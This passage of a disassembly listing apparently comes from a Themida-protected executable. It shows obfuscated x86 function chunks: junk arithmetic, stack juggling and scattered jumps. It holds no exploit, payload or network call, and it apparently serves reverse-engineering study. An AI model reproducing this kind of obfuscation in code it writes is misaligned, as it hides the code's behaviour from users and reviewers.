; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5A0D78: ; CODE XREF: sub_59A431+326Ej
add eax, ebx
jmp loc_5949B8
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0D7F: ; CODE XREF: sub_59390B+CE79j
push 7AA3h
jmp loc_592069
; ---------------------------------------------------------------------------
loc_5A0D89: ; CODE XREF: sub_59390B+11ABAj
pop esp
push ecx
push esp
pop ecx
push ebp
mov ebp, 4
add ecx, 6CA078Dh
add ecx, 46D70C1Fh
add ecx, ebp
push eax
jmp loc_593EF1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A0DA7: ; CODE XREF: Themida_:00597057j
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_595BC6
; ---------------------------------------------------------------------------
loc_5A0DBA: ; CODE XREF: Themida_:0059EBCFj
mov ecx, 0FB2C8E7Bh
jmp loc_5A17E3
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_59B8C0
; ---------------------------------------------------------------------------
loc_5A0DD6: ; CODE XREF: Themida_:0059850Aj
push edx
mov edx, esp
sub esp, 4
jmp loc_597526
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0DE1: ; CODE XREF: sub_59390B+11DD8j
mov eax, [esp+8+var_8]
jmp loc_5A5503
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A0DE9: ; CODE XREF: Themida_:005977B3j
add dword ptr [esp+4], 72EA58E5h
mov eax, [esp]
jmp loc_5A0580
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_5A0DF9: ; CODE XREF: sub_590AC5+E51Cj
pop [esp-4+arg_0]
jmp loc_5A3F5B
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
loc_5A0E01: ; CODE XREF: Themida_:00596F2Bj
mov ebp, [esp]
jmp loc_590D12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0E09: ; CODE XREF: sub_59390B+8BFBj
push [esp+4+var_4]
push [esp+8+var_8]
push [esp+0Ch+var_C]
pop eax
push ebx
push esp
pop ebx
add ebx, 4
push esi
jmp loc_597FF7
; ---------------------------------------------------------------------------
loc_5A0E22: ; CODE XREF: sub_59390B-53Dj
xchg ecx, [esp+0]
pop esp
add esp, 4
add esp, 4
push small 335Bh
mov word ptr [esp-0Ah+arg_0+2], dx
push ebx
mov bl, 3Eh
mov dh, bl
pop ebx
push edx
jmp loc_592BA7
; ---------------------------------------------------------------------------
loc_5A0E43: ; CODE XREF: sub_59390B+C89Dj
and esi, 4FEF7BC8h
and esi, 67636DD2h
jmp sub_59F121
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5A0E54: ; CODE XREF: sub_59A431-76B3j
mov [esp+14h+var_14], edi
mov edi, 7DC2265Ah
shr edi, 5
sub edi, 0E148ABDBh
mov ebp, edi
mov edi, [esp+14h+var_14]
jmp sub_594DA8
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59731A
loc_5A0E6F: ; CODE XREF: sub_59731A+49CAj
sub eax, 0B5873926h
push eax
jmp loc_5A3C37
; END OF FUNCTION CHUNK FOR sub_59731A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_5A0E7A: ; CODE XREF: sub_594A8D+7FCj
sub ebx, 1
shr ebx, 2
jmp loc_59C78D
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
loc_5A0E85: ; CODE XREF: Themida_:005A09CEj
sub ebp, edi
pop edi
add eax, ebp
pop ebp
add eax, 49C014D5h
add eax, ebx
sub esp, 4
mov [esp], edi
jmp loc_59EFC3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0E9D: ; CODE XREF: sub_59390B+10215j
push edi
mov edi, 0DE91D06h
jmp loc_5A3BAB
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_5A0EA8: ; CODE XREF: sub_5A51EA-F91Bj
not byte ptr [esp+0]
jmp loc_597294
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
loc_5A0EB0: ; CODE XREF: Themida_:0059EDC8j
xchg ecx, [esp]
jmp loc_5A4AA4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0EB8: ; CODE XREF: sub_59390B+491Aj
push 7489h
mov [esp+10h+var_10], esi
jmp loc_595EF2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F4D4
loc_5A0EC5: ; CODE XREF: sub_59F4D4+6j
dec ebx
jmp loc_593990
; END OF FUNCTION CHUNK FOR sub_59F4D4
; ---------------------------------------------------------------------------
loc_5A0ECB: ; CODE XREF: Themida_:0059C168j
sub eax, 329E008Bh
add eax, ebx
add eax, 329E008Bh
mov ebx, [esp]
add esp, 4
push esi
push ebx
jmp loc_594F7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0EE7: ; CODE XREF: sub_59390B+1996j
mov ecx, eax
mov esi, ecx
pop ecx
pop eax
jmp loc_59CEEC
; ---------------------------------------------------------------------------
loc_5A0EF2: ; CODE XREF: sub_59390B+342j
xchg esi, [esp-18h+arg_10]
mov esp, [esp-18h+arg_10]
mov [esp-18h+arg_10], edx
push eax
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A0F02: ; CODE XREF: Themida_:00591826j
sub ecx, 1C28162Fh
add ecx, 296B730Bh
mov edi, [esp]
add esp, 4
add ecx, edi
add ecx, 1A687C32h
push edx
push ebx
mov ebx, 32B14215h
or ebx, 36B125DAh
and ebx, 2A863E29h
or ebx, 12D81386h
sub ebx, 0FFFFFFFFh
shr ebx, 1
add ebx, 0E693E438h
mov edx, ebx
pop ebx
jmp loc_59B379
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A0F4B: ; CODE XREF: sub_59CAFB+2875j
push 6B65h
jmp loc_5A13B9
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BF22
loc_5A0F55: ; CODE XREF: sub_59BF22+12j
push eax
mov eax, 4
sub [esp+0Ch+var_8], 5F264CBCh
add [esp+0Ch+var_8], eax
push edi
mov edi, 5F264CBCh
jmp loc_59F628
; END OF FUNCTION CHUNK FOR sub_59BF22
; ---------------------------------------------------------------------------
loc_5A0F72: ; CODE XREF: Themida_:0059AEA4j
sub edi, 4
xor edi, [esp]
xor [esp], edi
jmp loc_5A529C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0F83: ; CODE XREF: sub_59390B-2A7j
push 1993h
mov [esp+0], esi
mov esi, 3AFA0A40h
add edi, esi
pop esi
shl edi, 8
neg edi
jmp loc_59DA5E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A0F9D: ; CODE XREF: Themida_:005960B8j
add esi, 161B44AFh
jmp loc_591BE5
; ---------------------------------------------------------------------------
loc_5A0FA8: ; CODE XREF: Themida_:00596112j
mov eax, 19E69D2h
jmp loc_59D274
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5A0FB2: ; CODE XREF: sub_59A431-7164j
pop [esp+10h+var_10]
jmp loc_59ABBE
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338E
loc_5A0FBA: ; CODE XREF: sub_59338E+28j
pop ebx
add edx, 244363B3h
add edx, 562C1AF7h
add edx, ebp
sub edx, 562C1AF7h
jmp loc_595F3E
; END OF FUNCTION CHUNK FOR sub_59338E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5995FC
loc_5A0FD4: ; CODE XREF: sub_5995FC+3F42j
shr dl, 3
push ecx
mov ch, 7Ah
shl ch, 3
and ch, 1
and ch, 0E3h
push bx
mov bl, 0F7h
xor ch, bl
jmp loc_5A1439
; END OF FUNCTION CHUNK FOR sub_5995FC
; ---------------------------------------------------------------------------
loc_5A0FEE: ; CODE XREF: Themida_:00597129j
push ebp
mov ebp, 5BAB19E5h
add ebp, 0A80BF0B2h
jmp loc_595ECC
; ---------------------------------------------------------------------------
loc_5A0FFF: ; CODE XREF: Themida_:005A3281j
add esp, 4
sub eax, ebp
push ebp
mov ebp, 13FF74C4h
add eax, 5EDA65DFh
add eax, ebp
sub eax, 5EDA65DFh
pop ebp
push dword ptr [esp]
pop ebp
add esp, 4
push esi
push 5D905EA7h
pop esi
xchg ecx, esi
not ecx
xchg ecx, esi
push 587Ch
mov [esp], edi
sub esp, 4
mov [esp], ebp
mov ebp, 4CE32B8Ch
mov edi, ebp
pop ebp
sub esi, edi
mov edi, [esp]
add esp, 4
and esi, 4553569Fh
push esi
jmp loc_59BB55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59333E
loc_5A1055: ; CODE XREF: sub_59333E-502j
pop ebx
push ebp
jmp loc_59D4B6
; END OF FUNCTION CHUNK FOR sub_59333E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A105C: ; CODE XREF: sub_59390B+1416j
pop eax
push ebx
mov bh, 84h
push edx
push ebx
mov bl, 0EFh
jmp loc_59E5CA
; ---------------------------------------------------------------------------
loc_5A1069: ; CODE XREF: sub_59390B+E61Bj
add esp, 4
push [esp+12h+var_14+2]
pop edx
add esp, 4
jmp loc_59C979
; ---------------------------------------------------------------------------
loc_5A107B: ; CODE XREF: sub_59390B-F14j
pop edx
add esp, 4
xor ah, 0F7h
add ah, 3Dh
push edx
jmp loc_5A3183
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5A108B: ; CODE XREF: sub_59CFD4+3AA5j
or edi, 736F3DBDh
shr edi, 3
add edi, 68BA2EE5h
xor ecx, edi
pop edi
shr ecx, 8
jmp loc_592740
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B2AF
loc_5A10A5: ; CODE XREF: sub_59B2AF+DCj
push ecx
mov ecx, 9CC3F13h
jmp loc_59CDCA
; END OF FUNCTION CHUNK FOR sub_59B2AF
; ---------------------------------------------------------------------------
loc_5A10B0: ; CODE XREF: Themida_:00596A76j
pop edi
push ebp
jmp loc_59F64F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A10B7: ; CODE XREF: sub_59390B+667Aj
mov esi, [esp+14h+var_14]
push ebx
mov ebx, esp
jmp loc_5A29A2
; ---------------------------------------------------------------------------
loc_5A10C2: ; CODE XREF: sub_59390B+170j
neg edi
jmp loc_590DF4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A10C9: ; CODE XREF: Themida_:005A4C89j
sub al, 12h
jmp loc_5A4E6E
; ---------------------------------------------------------------------------
loc_5A10D0: ; CODE XREF: Themida_:0059C1A6j
push eax
mov ah, 0DAh
xor ah, 84h
jmp loc_59BC18
; ---------------------------------------------------------------------------
loc_5A10DB: ; CODE XREF: Themida_:00596E5Fj
mov edx, 46F7741h
sub ecx, edx
pop edx
jmp loc_5A55DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A10E8: ; CODE XREF: sub_59390B+47B7j
pop ax
xor al, dh
mov edx, [esp+0Eh+var_10+2]
add esp, 4
jmp loc_59D2AA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5A10F7: ; CODE XREF: sub_59CFD4-121j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+0Ch+var_C]
pop esp
push [esp+8+var_8]
pop ecx
add esp, 4
add ecx, 5FF478BFh
push 137Bh
mov [esp+8+var_8], esi
push 5DDFh
mov [esp+0Ch+var_C], edi
push ebp
mov ebp, 7F690717h
push 691Eh
jmp loc_590E81
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A1132: ; CODE XREF: sub_59CAFB+595Bj
mov ebp, [esp+8+var_8]
jmp loc_5A5B04
; END OF FUNCTION CHUNK FOR sub_59CAFB
; =============== S U B R O U T I N E =======================================
sub_5A113A proc near ; DATA XREF: Themida_:00590A4Co
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 005919C9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00593429 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059A160 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C129 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059E85C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059EE47 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059F811 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059FAB3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A0B72 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A224C SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005A3540 SIZE 0000000B BYTES
mov cx, [esp+0]
push 4757h
mov [esp+4+var_4], ebx
push esp
mov ebx, [esp+8+var_8]
jmp loc_593429
sub_5A113A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A114F: ; CODE XREF: sub_59390B+E379j
mov esp, [esp+0Ah+var_C+2]
sub ebx, 61B8570Dh
add ebx, ecx
push edx
mov edx, 7FA0228Fh
jmp loc_59112D
; ---------------------------------------------------------------------------
loc_5A1165: ; CODE XREF: sub_59390B+3C32j
add esp, 4
pop ebx
add ebx, 4
push edi
mov edi, 4
add ebx, edi
mov edi, [esp-14h+arg_C]
add esp, 4
xor ebx, [esp-18h+arg_10]
xor [esp-18h+arg_10], ebx
xor ebx, [esp-18h+arg_10]
mov esp, [esp-18h+arg_10]
push eax
push 4F43h
jmp loc_5A046E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A1194: ; CODE XREF: Themida_:00598CA6j
pop eax
push ebx
mov bh, 30h
jmp loc_597BB9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0060
loc_5A119D: ; CODE XREF: sub_5A0060-2566j
mov ecx, 258508EAh
add ecx, 1
neg ecx
or ecx, 20184E38h
xor ecx, 0FA7AFF39h
mov edi, ecx
pop ecx
jmp loc_59ED29
; END OF FUNCTION CHUNK FOR sub_5A0060
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A11BB: ; CODE XREF: sub_59390B+8486j
push eax
mov eax, 1FAB08B4h
add ebp, eax
pop eax
jmp loc_5A4BFC
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A11C9: ; CODE XREF: Themida_:0059F956j
mov [esp], esp
jmp loc_59DCBA
; ---------------------------------------------------------------------------
loc_5A11D1: ; CODE XREF: Themida_:0059E061j
add edx, 30563FA0h
pop esi
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
pop edx
jmp loc_5A243B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A11EB: ; CODE XREF: sub_59390B-113j
pop cx
jmp loc_594333
; ---------------------------------------------------------------------------
loc_5A11F2: ; CODE XREF: sub_59390B+C298j
mov edx, [esp+10h+var_10]
push esi
mov esi, esp
jmp loc_59AB91
; ---------------------------------------------------------------------------
loc_5A11FD: ; CODE XREF: sub_59390B+119C7j
mov edx, ecx
pop ecx
jmp loc_59C5C4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F4E7
loc_5A1205: ; CODE XREF: sub_59F4E7-A79j
add ebp, 5C424CFEh
sub eax, ebp
pop ebp
sub ebx, eax
jmp loc_598B2A
; END OF FUNCTION CHUNK FOR sub_59F4E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5A1215: ; CODE XREF: sub_595BAD+D598j
pop esp
shl ebx, 4
jmp loc_5A1918
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599F46
loc_5A121E: ; CODE XREF: sub_599F46+3652j
push [esp+8+var_4]
pop ebp
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
jmp sub_595949
; END OF FUNCTION CHUNK FOR sub_599F46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_5A122E: ; CODE XREF: sub_5936EC-C1j
mov [esp+0], ebx
push edx
jmp loc_599464
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1237: ; CODE XREF: sub_59390B+BABDj
xor ecx, [esp+0]
pop esp
add ax, di
mov di, word ptr [esp-8+arg_0]
push 2EB6h
mov [esp+0], edx
push esp
pop edx
push 4920h
mov [esp+0], eax
mov eax, 0F1217DEh
xor eax, 27F8510Fh
or eax, 11D746F6h
jmp loc_598627
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338E
loc_5A1268: ; CODE XREF: sub_59338E+EE4Bj
mov eax, [esp+0]
push ecx
push 4B92h
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop ecx
add ecx, 4
push 3828h
mov [esp+8+var_8], edx
mov edx, 5CF617E2h
shr edx, 4
shr edx, 2
xor edx, 5FC56D4Bh
neg edx
jmp loc_598C7E
; END OF FUNCTION CHUNK FOR sub_59338E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A129F: ; CODE XREF: sub_59390B+C41Dj
add edx, edi
pop edi
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_5A12A7: ; CODE XREF: sub_594D13-38B3j
and eax, 3F14C7h
jmp loc_5A0568
; END OF FUNCTION CHUNK FOR sub_594D13
; =============== S U B R O U T I N E =======================================
sub_5A12B1 proc near ; CODE XREF: sub_5A21DE-99FDj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005A0883 SIZE 00000006 BYTES
sub esp, 4
mov [esp+4+var_4], esi
pop ebp
push dword ptr [esp+0]
jmp loc_5A0883
sub_5A12B1 endp
; ---------------------------------------------------------------------------
loc_5A12C3: ; CODE XREF: Themida_:005A29FDj
add ebx, 0FE1CD1h
add ebx, ebp
jmp loc_594118
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_5A12D0: ; CODE XREF: sub_594D13+ED68j
push eax
mov eax, 0FFFFFFFFh
sub ebp, eax
pop eax
push edi
mov edi, 2C0C289Dh
inc edi
add edi, 50A21819h
neg edi
jmp loc_5A5613
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
loc_5A12ED: ; CODE XREF: Themida_:00592EFFj
add eax, ebp
sub eax, 7A474299h
mov ebp, [esp]
add esp, 4
push edx
mov edx, 4
add eax, edx
pop edx
xor eax, [esp]
jmp loc_5991E8
; ---------------------------------------------------------------------------
loc_5A130B: ; CODE XREF: Themida_:0059E130j
add edx, ecx
push edi
push ebx
jmp loc_598DF7
; ---------------------------------------------------------------------------
loc_5A1314: ; CODE XREF: Themida_:0059AC2Aj
pop edi
add edi, 4
jmp loc_5A38DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1320: ; CODE XREF: sub_59390B+12138j
add eax, esi
pop esi
mov esi, [esp-18h+arg_10]
add esp, 4
mov ecx, [esp-1Ch+arg_14]
push edi
mov edi, esp
jmp loc_59AB53
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_5A1334: ; CODE XREF: sub_59FCCB-B5BCj
xor ah, dl
pop edx
neg ah
not ah
sub ah, 4Ah
xor dl, ah
pop eax
mov bl, dl
jmp loc_59C0D9
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
loc_5A1348: ; CODE XREF: Themida_:005997FDj
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
mov ecx, 11974E10h
sub esi, ecx
mov ecx, [esp]
add esp, 4
add esi, 75F86E86h
sub esi, 620105EAh
jmp loc_597557
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_5A137C: ; CODE XREF: sub_59A431+75AAj
sub ecx, edx
pop edx
xor ecx, [esp+8+var_8]
jmp loc_592D66
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A1387: ; CODE XREF: sub_59390B-1A58j
mov ecx, 70C869FCh
push edi
mov edi, 722150E1h
add ecx, edi
mov edi, [esp+0]
add esp, 4
add ecx, 72FF6D21h
neg ecx
sub ecx, 0A503A282h
sub edx, ecx
pop ecx
sub esi, 56EF6FF8h
jmp loc_59ABB7
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A13B9: ; CODE XREF: sub_59CAFB+4455j
mov [esp+8+var_8], ecx
jmp loc_596A10
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_5A13C1: ; CODE XREF: Themida_:005914D1j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
neg ecx
push ebx
push edx
mov edx, 2FA77F57h
jmp loc_596100
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_5A13DF: ; CODE XREF: sub_599AE1-812Aj
neg ebx
jmp loc_5944B1
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
loc_5A13E6: ; CODE XREF: Themida_:005A47DCj
xchg ecx, [esp]
pop esp
sub [esp], eax
push ebp
mov ebp, 4C430CB9h
add [esp+4], ebp
pop ebp
jmp loc_5923C9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A13FD: ; CODE XREF: sub_59390B+A71Cj
add esp, 4
sub eax, ebx
sub eax, 7C354E32h
push ecx
mov ecx, esp
push eax
jmp loc_5926F0
; ---------------------------------------------------------------------------
loc_5A1413: ; CODE XREF: sub_59390B+B1F0j
xor cl, ah
jmp loc_595603
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A141A: ; CODE XREF: Themida_:005A1822j
mov edx, 75DF6376h
sub edx, 75DF6372h
jmp loc_5A0C6F
; ---------------------------------------------------------------------------
loc_5A142A: ; CODE XREF: Themida_:0059C7D9j
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
jmp loc_5A3B9D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5995FC
loc_5A1439: ; CODE XREF: sub_5995FC+79EDj
pop bx
xor ch, 98h
sub dl, ch
pop ecx
dec dl
jmp sub_5A39E6
; END OF FUNCTION CHUNK FOR sub_5995FC
; ---------------------------------------------------------------------------
loc_5A1448: ; CODE XREF: Themida_:0059F1C6j
dec edx
neg edx
not edx
jmp loc_5A248A
; ---------------------------------------------------------------------------
loc_5A1452: ; CODE XREF: Themida_:00592532j
add edx, eax
pop eax
jmp loc_597932
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A145A: ; CODE XREF: sub_59390B+166Dj
xchg ecx, [esp-24h+arg_1C]
mov esp, [esp-24h+arg_1C]
pop [esp-24h+arg_1C]
push [esp-28h+arg_20]
pop eax
add esp, 4
push 224Ah
mov [esp-28h+arg_20], edi
mov edi, 1
and eax, edi
jmp loc_5A41D7
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_5A147E: ; CODE XREF: sub_59654E-3DDEj
mov eax, 42CC4F4Dh
xor eax, 106B6D9Ch
jmp loc_595A0A
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A148D: ; CODE XREF: sub_59390B+1097Dj
pop edi
add edi, 4
jmp loc_59C144
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A1499: ; CODE XREF: Themida_:005998D3j
mov [esp], edi
jmp loc_591C44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_5A14A1: ; CODE XREF: sub_591FE1+FCF7j
add eax, 4
push 4C34h
mov [esp+0Ch+var_C], esi
mov esi, 4
sub eax, esi
pop esi
xchg eax, [esp+8+var_8]
pop esp
mov [esp+4+var_4], ebx
push esp
mov ebx, [esp+8+var_8]
add esp, 4
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+8+var_8]
pop esp
jmp loc_5A1FEE
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
loc_5A14E5: ; CODE XREF: Themida_:0059B883j
push dword ptr [esp+4]
pop edx
jmp loc_5A4C10
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A14EF: ; CODE XREF: sub_59390B+EBECj
push edi
pop ebx
pop edi
add ecx, 4CF7D1Dh
sub ecx, ebx
sub ecx, 4CF7D1Dh
jmp loc_591FAA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0733
loc_5A1505: ; CODE XREF: sub_5A0733-39B8j
add [esp+10h+var_C], ebp
pop ebp
pop [esp+0Ch+var_C]
push 4C12h
mov [esp+0Ch+var_C], edi
mov edi, 687D2B60h
jmp loc_5A04D8
; END OF FUNCTION CHUNK FOR sub_5A0733
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B8D
loc_5A151F: ; CODE XREF: sub_590B8D+1j
mov ebx, 36127B59h
mov edx, ebx
push [esp+4+var_4]
pop ebx
add esp, 4
add eax, 12175C5Ah
push ecx
jmp loc_597435
; END OF FUNCTION CHUNK FOR sub_590B8D
; ---------------------------------------------------------------------------
loc_5A153B: ; CODE XREF: Themida_:00592261j
mov [esp], esp
add dword ptr [esp], 4
jmp loc_599931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_5A154A: ; CODE XREF: sub_599AE1-DDDj
mov [esp+4+var_4], edi
push 66F3h
mov [esp+8+var_8], eax
mov eax, 75EF490Ah
push 3922h
mov [esp+0Ch+var_C], ecx
mov ecx, 59C91BC1h
xor ecx, 7FD237A0h
neg ecx
xor ecx, 32C03EB6h
add ecx, 5FEA7CACh
jmp loc_5919A9
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
loc_5A1580: ; CODE XREF: Themida_:005A319Cj
pop ax
or dh, bh
pop ebx
jmp loc_59A0BD
; ---------------------------------------------------------------------------
loc_5A158A: ; CODE XREF: Themida_:00597B47j
xor al, bl
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_5A1A04
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A159D: ; CODE XREF: sub_59390B-2B16j
neg dword ptr [esp+0]
mov edi, [esp+0]
add esp, 4
dec edi
sub edi, 0ED4365A1h
jmp loc_5A4AE4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592586
loc_5A15B2: ; CODE XREF: sub_592586+2B3Dj
push 6A60h
jmp loc_5A0A97
; END OF FUNCTION CHUNK FOR sub_592586
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0D58
loc_5A15BC: ; CODE XREF: sub_5A0D58-95DDj
or ecx, ebx
pop ebx
add ecx, 0DCC9A0F1h
jmp loc_59F581
; END OF FUNCTION CHUNK FOR sub_5A0D58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_5A15CA: ; CODE XREF: sub_5A51EA-DF54j
shl dl, 1
sub esp, 4
jmp loc_5A3D02
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A21DE
loc_5A15D4: ; CODE XREF: sub_5A21DE+DFCj
mov ebp, [esp+0]
push ebp
push esp
